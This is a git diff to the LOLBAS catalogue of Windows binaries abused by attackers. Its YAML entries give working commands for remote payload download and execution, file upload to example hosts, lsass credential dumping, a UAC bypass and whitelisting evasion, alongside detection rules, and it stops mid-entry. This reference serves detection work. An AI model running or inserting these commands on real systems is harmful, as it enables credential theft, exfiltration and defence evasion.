diff --git a/NOTICE.md b/NOTICE.md index 146540e..d9e446d 100644 --- a/NOTICE.md +++ b/NOTICE.md @@ -14,7 +14,7 @@ * Submitter: An individual, group, organization, or entity that contributes to the LOLBAS project through project maintenance, issue submission, Pull Request (PR) submission, etc. * Consumer: An individual, group, organization, or entity that uses ("consumes") the LOLBAS project resources through the web portal or repository interfaces and capabilities. -* OLBAS: Living Off The Land Binaries and Scripts +* LOLBAS: Living Off The Land Binaries and Scripts * LOLBIN: Living Off The Land Binary * LOL/"lol": Living Off The Land diff --git a/README.md b/README.md index 457eda3..4167422 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,12 @@ +

+ + + + + + +

+ # Living Off The Land Binaries and Scripts (and now also Libraries) @@ -72,6 +81,7 @@ The following folks help maintain the LOLBAS Project on their personal time: * Chris 'Lopi' Spehn ([@ConsciousHacker](https://twitter.com/ConsciousHacker)) * Liam ([@liamsomerville](https://twitter.com/liamsomerville)) * Wietze ([@Wietze](https://twitter.com/@Wietze)) +* Jose Hernandez ([@_josehelps](https://twitter.com/_josehelps)) ## Thanks diff --git a/yml/OSBinaries/GfxDownloadWrapper.yml b/yml/HonorableMentions/GfxDownloadWrapper.yml similarity index 100% rename from yml/OSBinaries/GfxDownloadWrapper.yml rename to yml/HonorableMentions/GfxDownloadWrapper.yml diff --git a/yml/OSBinaries/Certreq.yml b/yml/OSBinaries/Certreq.yml index c713172..0396f6b 100644 --- a/yml/OSBinaries/Certreq.yml +++ b/yml/OSBinaries/Certreq.yml @@ -10,14 +10,14 @@ Commands: Category: Download Privileges: User MitreID: T1105 - OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 + OperatingSystem: Windows 10, Windows 11 - Command: CertReq -Post -config https://example.org/ c:\windows\win.ini and show response in terminal Description: Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST Usecase: Upload Category: Upload Privileges: User MitreID: T1105 - OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 + OperatingSystem: Windows 10, Windows 11 Full_Path: - Path: C:\Windows\System32\certreq.exe - Path: C:\Windows\SysWOW64\certreq.exe diff --git a/yml/OSBinaries/Cmd.yml b/yml/OSBinaries/Cmd.yml index 760946a..ee469b2 100644 --- a/yml/OSBinaries/Cmd.yml +++ b/yml/OSBinaries/Cmd.yml @@ -1,7 +1,7 @@ --- Name: Cmd.exe Description: The command-line interpreter in Windows -Author: 'Ye Yint Min Thu Htut' +Author: Ye Yint Min Thu Htut Created: 2019-06-26 Commands: - Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat @@ -9,7 +9,7 @@ Commands: Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism Category: ADS Privileges: User - MitreID: T1059.003 + MitreID: T1564.004 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - Command: cmd.exe - < fakefile.doc:payload.bat Description: Execute payload.bat stored in an Alternate Data Stream (ADS). @@ -18,6 +18,20 @@ Commands: Privileges: User MitreID: T1059.003 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 + - Command: type \\webdav-server\folder\file.ext > C:\Path\file.ext + Description: Downloads a specified file from a WebDAV server to the target file. + Usecase: Download/copy a file from a WebDAV server + Category: Download + Privileges: User + MitreID: T1105 + OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 + - Command: type C:\Path\file.ext > \\webdav-server\folder\file.ext + Description: Uploads a specified file to a WebDAV server. + Usecase: Upload a file to a WebDAV server + Category: Upload + Privileges: User + MitreID: T1048.003 + OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 Full_Path: - Path: C:\Windows\System32\cmd.exe - Path: C:\Windows\SysWOW64\cmd.exe @@ -29,6 +43,11 @@ Detection: - IOC: cmd.exe creating/modifying file contents in an alternate data stream. Resources: - Link: https://twitter.com/yeyint_mth/status/1143824979139579904 + - Link: https://twitter.com/Mr_0rng/status/1601408154780446721 + - Link: https://medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22 + - Link: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type Acknowledgement: - Person: r0lan Handle: '@yeyint_mth' + - Person: Mr.0range + Handle: '@mr_0rng' diff --git a/yml/OSBinaries/Conhost.yml b/yml/OSBinaries/Conhost.yml index cc27bc7..5e095b2 100644 --- a/yml/OSBinaries/Conhost.yml +++ b/yml/OSBinaries/Conhost.yml @@ -11,6 +11,13 @@ Commands: Privileges: User MitreID: T1202 OperatingSystem: Windows 10, Windows 11 + - Command: "conhost.exe --headless calc.exe" + Description: Execute calc.exe with conhost.exe as parent process + Usecase: Specify --headless parameter to hide child process window (if applicable) + Category: Execute + Privileges: User + MitreID: T1202 + OperatingSystem: Windows 10, Windows 11 Full_Path: - Path: c:\windows\system32\conhost.exe Detection: @@ -19,6 +26,8 @@ Detection: Resources: - Link: https://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/ - Link: https://twitter.com/Wietze/status/1511397781159751680 + - Link: https://twitter.com/embee_research/status/1559410767564181504 + - Link: https://twitter.com/ankit_anubhav/status/1561683123816972288 Acknowledgement: - Person: Adam Handle: '@hexacorn' diff --git a/yml/OSBinaries/Eventvwr.yml b/yml/OSBinaries/Eventvwr.yml index 4cdace8..94e7e7a 100644 --- a/yml/OSBinaries/Eventvwr.yml +++ b/yml/OSBinaries/Eventvwr.yml @@ -14,9 +14,9 @@ Commands: - Command: ysoserial.exe -o raw -f BinaryFormatter - g DataSet -c calc > RecentViews & copy RecentViews %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews & eventvwr.exe Description: During startup, eventvwr.exe uses .NET deserialization with %LOCALAPPDATA%\Microsoft\EventV~1\RecentViews file. This file can be created using https://github.com/pwntester/ysoserial.net Usecase: Execute a command to bypass security restrictions that limit the use of command-line interpreters. - Category: Execute + Category: UAC Bypass Privileges: Administrator - MitreID: T1202 + MitreID: T1548.002 OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10 Full_Path: - Path: C:\Windows\System32\eventvwr.exe @@ -26,7 +26,7 @@ Code_Sample: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/b08b3e2b0d5111c637dbede1381b07cb79f8c2eb/rules/windows/process_creation/process_creation_sysmon_uac_bypass_eventvwr.yml - Sigma: https://github.com/SigmaHQ/sigma/blob/b08b3e2b0d5111c637dbede1381b07cb79f8c2eb/rules/windows/registry_event/registry_event_uac_bypass_eventvwr.yml - - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file_event/file_event_win_uac_bypass_eventvwr.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml - Elastic: https://github.com/elastic/detection-rules/blob/d31ea6253ea40789b1fc49ade79b7ec92154d12a/rules/windows/privilege_escalation_uac_bypass_event_viewer.toml - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/eventvwr_uac_bypass.yml - IOC: eventvwr.exe launching child process other than mmc.exe diff --git a/yml/OSBinaries/Explorer.yml b/yml/OSBinaries/Explorer.yml index 0cac39e..d1e025c 100644 --- a/yml/OSBinaries/Explorer.yml +++ b/yml/OSBinaries/Explorer.yml @@ -1,7 +1,7 @@ --- Name: Explorer.exe Description: Binary used for managing files and system components within Windows -Author: 'Jai Minton' +Author: Jai Minton Created: 2020-06-24 Commands: - Command: explorer.exe /root,"C:\Windows\System32\calc.exe" @@ -21,8 +21,6 @@ Commands: Full_Path: - Path: C:\Windows\explorer.exe - Path: C:\Windows\SysWOW64\explorer.exe -Code_Sample: - - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_explorer_break_proctree.yml - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_explorer.yml diff --git a/yml/OSBinaries/Msedge.yml b/yml/OSBinaries/Msedge.yml new file mode 100644 index 0000000..4ec4118 --- /dev/null +++ b/yml/OSBinaries/Msedge.yml @@ -0,0 +1,29 @@ +--- +Name: Msedge.exe +Description: Microsoft Edge browser +Author: mr.d0x +Created: 2022-01-20 +Commands: + - Command: msedge.exe https://example.com/file.exe.txt + Description: Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen. + Usecase: Download file from the internet + Category: Download + Privileges: User + MitreID: T1105 + OperatingSystem: Windows 10, Windows 11 + - Command: msedge.exe --headless --enable-logging --disable-gpu --dump-dom "http://example.com/evil.b64.html" > out.b64 + Description: Edge will silently download the file. File extension should be .html and binaries should be encoded. + Usecase: Download file from the internet + Category: Download + Privileges: User + MitreID: T1105 + OperatingSystem: Windows 10, Windows 11 +Full_Path: + - Path: c:\Program Files\Microsoft\Edge\Application\msedge.exe + - Path: c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe +Resources: + - Link: https://twitter.com/mrd0x/status/1478116126005641220 + - Link: https://twitter.com/mrd0x/status/1478234484881436672 +Acknowledgement: + - Person: mr.d0x + Handle: '@mrd0x' diff --git a/yml/OSBinaries/Odbcconf.yml b/yml/OSBinaries/Odbcconf.yml index a501685..7c7c245 100644 --- a/yml/OSBinaries/Odbcconf.yml +++ b/yml/OSBinaries/Odbcconf.yml @@ -4,15 +4,24 @@ Description: Used in Windows for managing ODBC connections Author: 'Oddvar Moe' Created: 2018-05-25 Commands: - - Command: odbcconf -f file.rsp - Description: Load DLL specified in target .RSP file. See the payloads folder for an example .RSP file. + - Command: odbcconf /a {REGSVR c:\test\test.dll} + Description: Execute DllREgisterServer from DLL specified. Usecase: Execute dll file using technique that can evade defensive counter measures Category: Execute Privileges: User MitreID: T1218.008 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - - Command: odbcconf /a {REGSVR c:\test\test.dll} - Description: Execute DllREgisterServer from DLL specified. + - Command: | + odbcconf INSTALLDRIVER "lolbas-project|Driver=c:\test\test.dll|APILevel=2" + odbcconf configsysdsn "lolbas-project" "DSN=lolbas-project" + Description: Install a driver and load the DLL. Requires administrator privileges. + Usecase: Execute dll file using technique that can evade defensive counter measures + Category: Execute + Privileges: User + MitreID: T1218.008 + OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 + - Command: odbcconf -f file.rsp + Description: Load DLL specified in target .RSP file. See the Code Sample section for an example .RSP file. Usecase: Execute dll file using technique that can evade defensive counter measures Category: Execute Privileges: User @@ -22,7 +31,7 @@ Full_Path: - Path: C:\Windows\System32\odbcconf.exe - Path: C:\Windows\SysWOW64\odbcconf.exe Code_Sample: - - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/file.rsp + - Code: https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/58b5eb751379501aa237275f14381f0902e979a5/Archive-Old-Version/OSBinaries/Payload/file.rsp Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_odbcconf.yml - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml @@ -30,7 +39,7 @@ Detection: Resources: - Link: https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b - Link: https://github.com/woanware/application-restriction-bypasses - - Link: https://twitter.com/Hexacorn/status/1187143326673330176 + - Link: https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/ Acknowledgement: - Person: Casey Smith Handle: '@subtee' diff --git a/yml/OSBinaries/Rdrleakdiag.yml b/yml/OSBinaries/Rdrleakdiag.yml index 77b13a0..1f40dfe 100644 --- a/yml/OSBinaries/Rdrleakdiag.yml +++ b/yml/OSBinaries/Rdrleakdiag.yml @@ -31,7 +31,8 @@ Full_Path: Code_Sample: - Code: Detection: - - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml - Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml Resources: diff --git a/yml/OSBinaries/Runexehelper.yml b/yml/OSBinaries/Runexehelper.yml new file mode 100644 index 0000000..4437afe --- /dev/null +++ b/yml/OSBinaries/Runexehelper.yml @@ -0,0 +1,24 @@ +--- +Name: Runexehelper.exe +Description: Launcher process +Author: Grzegorz Tworek +Created: 2022-12-13 +Commands: + - Command: runexehelper.exe c:\windows\system32\calc.exe + Description: 'Launches the specified exe. Prerequisites: (1) diagtrack_action_output environment variable must be set to an existing, writable folder; (2) runexewithargs_output.txt file cannot exist in the folder indicated by the variable.' + Usecase: Executes arbitrary code + Category: Execute + Privileges: User + MitreID: T1218 + OperatingSystem: Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022 +Full_Path: + - Path: c:\windows\system32\runexehelper.exe +Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml + - IOC: c:\windows\system32\runexehelper.exe is run + - IOC: Existence of runexewithargs_output.txt file +Resources: + - Link: https://twitter.com/0gtweet/status/1206692239839289344 +Acknowledgement: + - Person: Grzegorz Tworek + Handle: '@0gtweet' diff --git a/yml/OSBinaries/Setres.yml b/yml/OSBinaries/Setres.yml index 1f51d47..734aba2 100644 --- a/yml/OSBinaries/Setres.yml +++ b/yml/OSBinaries/Setres.yml @@ -14,6 +14,7 @@ Commands: Full_Path: - Path: c:\windows\system32\setres.exe Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_setres.yml - IOC: Unusual location for choice.exe file - IOC: Process created from choice.com binary - IOC: Existence of choice.cmd file diff --git a/yml/OSBinaries/Ssh.yml b/yml/OSBinaries/Ssh.yml index a026693..3547b46 100644 --- a/yml/OSBinaries/Ssh.yml +++ b/yml/OSBinaries/Ssh.yml @@ -1,4 +1,3 @@ ---- Name: ssh.exe Description: Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices. Author: 'Akshat Pradhan' @@ -11,17 +10,21 @@ Commands: Privileges: User MitreID: T1202 OperatingSystem: Windows 10 1809, Windows Server 2019 - - Command: ssh localhost calc.exe - Description: Executes calc.exe. - Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting. - Category: AWL Bypass + - Command: ssh -o ProxyCommand=calc.exe . + Description: Executes calc.exe from ssh.exe + Usecase: Performs execution of specified file, can be used as a defensive evasion. + Category: Execute Privileges: User - MitreID: T1218 - OperatingSystem: Windows 10 1809, Windows Server 2019 + MitreID: T1202 + OperatingSystem: Windows 10 Full_Path: - Path: c:\windows\system32\OpenSSH\ssh.exe Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_ssh.yml - IOC: Event ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe. - IOC: command line arguments specifying execution. +Resources: + - Link: https://gtfobins.github.io/gtfobins/ssh/ Acknowledgement: - Person: Akshat Pradhan + - Person: Felix Boulet diff --git a/yml/OSBinaries/Unregmp2.yml b/yml/OSBinaries/Unregmp2.yml index 200d450..d05fd20 100644 --- a/yml/OSBinaries/Unregmp2.yml +++ b/yml/OSBinaries/Unregmp2.yml @@ -15,6 +15,7 @@ Full_Path: - Path: C:\Windows\System32\unregmp2.exe - Path: C:\Windows\SysWOW64\unregmp2.exe Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml - IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP` Resources: - Link: https://twitter.com/notwhickey/status/1466588365336293385 diff --git a/yml/OSLibraries/Desk.yml b/yml/OSLibraries/Desk.yml index a044575..8198d8f 100644 --- a/yml/OSLibraries/Desk.yml +++ b/yml/OSLibraries/Desk.yml @@ -22,9 +22,9 @@ Full_Path: - Path: C:\Windows\System32\desk.cpl - Path: C:\Windows\SysWOW64\desk.cpl Detection: - - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file_event/file_event_win_new_src_file.yml - - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_rundll32_installscreensaver.yml - - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/1d7ee1cd197d3b35508e2a5bf34d9d3b6ca4f504/rules/windows/file/file_event/file_event_win_new_src_file.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/940f89d43dbac5b7108610a5bde47cda0d2a643b/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml Resources: - Link: https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt - Link: https://twitter.com/pabraeken/status/998627081360695297 diff --git a/yml/OSScripts/pester.yml b/yml/OSScripts/pester.yml index de23bd1..a8a4465 100644 --- a/yml/OSScripts/pester.yml +++ b/yml/OSScripts/pester.yml @@ -32,8 +32,6 @@ Code_Sample: - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_pester.yml - - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml - - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml Resources: - Link: https://twitter.com/Oddvarmoe/status/993383596244258816 - Link: https://twitter.com/_st0pp3r_/status/1560072680887525378 diff --git a/yml/OtherMSBinaries/AccCheckConsole.yml b/yml/OtherMSBinaries/AccCheckConsole.yml index 8c07903..777d9f7 100644 --- a/yml/OtherMSBinaries/AccCheckConsole.yml +++ b/yml/OtherMSBinaries/AccCheckConsole.yml @@ -26,6 +26,7 @@ Full_Path: Code_Sample: - Code: https://docs.microsoft.com/en-us/windows/win32/winauto/custom-verification-routines Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml - IOC: Sysmon Event ID 1 - Process Creation - Analysis: https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340 Resources: diff --git a/yml/OtherMSBinaries/Adplus.yml b/yml/OtherMSBinaries/Adplus.yml index fc3a135..006c8b4 100644 --- a/yml/OtherMSBinaries/Adplus.yml +++ b/yml/OtherMSBinaries/Adplus.yml @@ -41,7 +41,7 @@ Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml - IOC: As a Windows SDK binary, execution on a system may be suspicious Resources: - - Link: https://blog.thecybersecuritytutor.com/adplus-debugging-tool-lsass-dump/ + - Link: https://mrd0x.com/adplus-debugging-tool-lsass-dump/ - Link: https://twitter.com/nas_bench/status/1534916659676422152 - Link: https://twitter.com/nas_bench/status/1534915321856917506 Acknowledgement: diff --git a/yml/OtherMSBinaries/Agentexecutor.yml b/yml/OtherMSBinaries/Agentexecutor.yml index 1af9f88..d9c685a 100644 --- a/yml/OtherMSBinaries/Agentexecutor.yml +++ b/yml/OtherMSBinaries/Agentexecutor.yml @@ -23,6 +23,8 @@ Full_Path: Code_Sample: - Code: Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor_susp_usage.yml Resources: - Link: Acknowledgement: diff --git a/yml/OtherMSBinaries/Cdb.yml b/yml/OtherMSBinaries/Cdb.yml index 8bfc5fd..c6b1e11 100644 --- a/yml/OtherMSBinaries/Cdb.yml +++ b/yml/OtherMSBinaries/Cdb.yml @@ -1,7 +1,7 @@ --- Name: Cdb.exe Description: Debugging tool included with Windows Debugging Tools. -Author: 'Oddvar Moe' +Author: Oddvar Moe Created: 2018-05-25 Commands: - Command: cdb.exe -cf x64_calc.wds -o notepad.exe @@ -12,8 +12,8 @@ Commands: MitreID: T1127 OperatingSystem: Windows - Command: | - cdb.exe -pd -pn - .shell + cdb.exe -pd -pn + .shell Description: Attaching to any process and executing shell commands. Usecase: Run a shell command under a trusted Microsoft signed binary Category: Execute @@ -41,7 +41,7 @@ Resources: - Link: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html - Link: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options - Link: https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda - - Link: https://blog.thecybersecuritytutor.com/the-power-of-cdb-debugging-tool/ + - Link: https://mrd0x.com/the-power-of-cdb-debugging-tool/ - Link: https://twitter.com/nas_bench/status/1534957360032120833 Acknowledgement: - Person: Matt Graeber diff --git a/yml/OtherMSBinaries/Createdump.yml b/yml/OtherMSBinaries/Createdump.yml index e680d50..e89ae89 100644 --- a/yml/OtherMSBinaries/Createdump.yml +++ b/yml/OtherMSBinaries/Createdump.yml @@ -1,8 +1,8 @@ --- Name: Createdump.exe Description: Microsoft .NET Runtime Crash Dump Generator (included in .NET Core) -Author: Daniel Santos -Created: 2022-08-05 +Author: mr.d0x, Daniel Santos +Created: 2022-01-20 Commands: - Command: createdump.exe -n -f dump.dmp [PID] Description: Dump process by PID and create a minidump file. If "-f dump.dmp" is not specified, the file is created as '%TEMP%\dump.%p.dmp' where %p is the PID of the target process. @@ -13,7 +13,12 @@ Commands: OperatingSystem: Windows 10, Windows 11 Full_Path: - Path: C:\Program Files\dotnet\shared\Microsoft.NETCore.App\*\createdump.exe + - Path: C:\Program Files (x86)\dotnet\shared\Microsoft.NETCore.App\*\createdump.exe + - Path: C:\Program Files\Microsoft Visual Studio\*\Community\dotnet\runtime\shared\Microsoft.NETCore.App\6.0.0\createdump.exe + - Path: C:\Program Files (x86)\Microsoft Visual Studio\*\Community\dotnet\runtime\shared\Microsoft.NETCore.App\6.0.0\createdump.exe Detection: + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml + - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml - IOC: createdump.exe process with a command line containing the lsass.exe process id Resources: - Link: https://twitter.com/bopin2020/status/1366400799199272960 diff --git a/yml/OtherMSBinaries/Devinit.yml b/yml/OtherMSBinaries/Devinit.yml new file mode 100644 index 0000000..6fe7783 --- /dev/null +++ b/yml/OtherMSBinaries/Devinit.yml @@ -0,0 +1,21 @@ +--- +Name: Devinit.exe +Description: Visual Studio 2019 tool +Author: mr.d0x +Created: 2022-01-20 +Commands: + - Command: devinit.exe run -t msi-install -i https://example.com/out.msi + Description: Downloads an MSI file to C:\Windows\Installer and then installs it. + Usecase: Executes code from a (remote) MSI file. + Category: Execute + Privileges: User + MitreID: T1218.007 + OperatingSystem: Windows 10, Windows 11 +Full_Path: + - Path: C:\Program Files\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe + - Path: C:\Program Files (x86)\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe +Resources: + - Link: https://twitter.com/mrd0x/status/1460815932402679809 +Acknowledgement: + - Person: mr.d0x + Handle: '@mrd0x' diff --git a/yml/OtherMSBinaries/Dotnet.yml b/yml/OtherMSBinaries/Dotnet.yml index b202817..1ad14b0 100644 --- a/yml/OtherMSBinaries/Dotnet.yml +++ b/yml/OtherMSBinaries/Dotnet.yml @@ -18,13 +18,20 @@ Commands: Privileges: User MitreID: T1218 OperatingSystem: Windows 7 and up with .NET installed + - Command: dotnet.exe fsi + Description: dotnet.exe will open a console which allows for the execution of arbitrary F# commands + Usecase: Execute arbitrary F# code + Category: Execute + Privileges: User + MitreID: T1059 + OperatingSystem: Windows 10 and up with .NET SDK installed - Command: dotnet.exe msbuild [Path_TO_XML_CSPROJ] Description: dotnet.exe with msbuild (SDK Version) will execute unsigned code Usecase: Execute code bypassing AWL Category: AWL Bypass Privileges: User MitreID: T1218 - OperatingSystem: Windows 10 with .NET Core installed + OperatingSystem: Windows 10 and up with .NET Core installed Full_Path: - Path: 'C:\Program Files\dotnet\dotnet.exe' Detection: @@ -35,8 +42,11 @@ Resources: - Link: https://twitter.com/_felamos/status/1204705548668555264 - Link: https://gist.github.com/bohops/3f645a7238d8022830ecf5511b3ecfbc - Link: https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/ + - Link: https://learn.microsoft.com/en-us/dotnet/fsharp/tools/fsharp-interactive/ Acknowledgement: - Person: felamos Handle: '@_felamos' - Person: Jimmy Handle: '@bohops' + - Person: yamalon + Handle: '@mavinject' diff --git a/yml/OtherMSBinaries/DumpMinitool.yml b/yml/OtherMSBinaries/DumpMinitool.yml new file mode 100644 index 0000000..127972a --- /dev/null +++ b/yml/OtherMSBinaries/DumpMinitool.yml @@ -0,0 +1,20 @@ +--- +Name: DumpMinitool.exe +Description: Dump tool part Visual Studio 2022 +Author: mr.d0x +Created: 2022-01-20 +Commands: + - Command: DumpMinitool.exe --file c:\users\mr.d0x\dump.txt --processId 1132 --dumpType Full + Description: Creates a memory dump of the lsass process + Usecase: Create memory dump and parse it offline + Category: Dump + Privileges: Administrator + MitreID: T1003.001 + OperatingSystem: Windows 10, Windows 11 +Full_Path: + - Path: C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions +Resources: + - Link: https://twitter.com/mrd0x/status/1511415432888131586 +Acknowledgement: + - Person: mr.d0x + Handle: '@mrd0x' diff --git a/yml/OtherMSBinaries/Fsi.yml b/yml/OtherMSBinaries/Fsi.yml index fe18464..7204f81 100644 --- a/yml/OtherMSBinaries/Fsi.yml +++ b/yml/OtherMSBinaries/Fsi.yml @@ -1,4 +1,3 @@ ---- Name: Fsi.exe Description: 64-bit FSharp (F#) Interpreter included with Visual Studio and DotNet Core SDK. Author: Jimmy (@bohops) @@ -28,6 +27,7 @@ Detection: - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules - IOC: Fsi.exe execution may be suspicious on non-developer machines + - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml Resources: - Link: https://twitter.com/NickTyrer/status/904273264385589248 - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/ diff --git a/yml/OtherMSBinaries/FsiAnyCpu.yml b/yml/OtherMSBinaries/FsiAnyCpu.yml index 0a81660..5b55e35 100644 --- a/yml/OtherMSBinaries/FsiAnyCpu.yml +++ b/yml/OtherMSBinaries/FsiAnyCpu.yml @@ -25,6 +25,7 @@ Code_Sample: Detection: - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules - IOC: FsiAnyCpu.exe execution may be suspicious on non-developer machines + - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_fsharp_interpreters.yml Resources: - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/ Acknowledgement: diff --git a/yml/OtherMSBinaries/Mftrace.yml b/yml/OtherMSBinaries/Mftrace.yml index 93c0440..ecc1967 100644 --- a/yml/OtherMSBinaries/Mftrace.yml +++ b/yml/OtherMSBinaries/Mftrace.yml @@ -26,6 +26,7 @@ Full_Path: Code_Sample: - Code: Detection: + - Sigma: 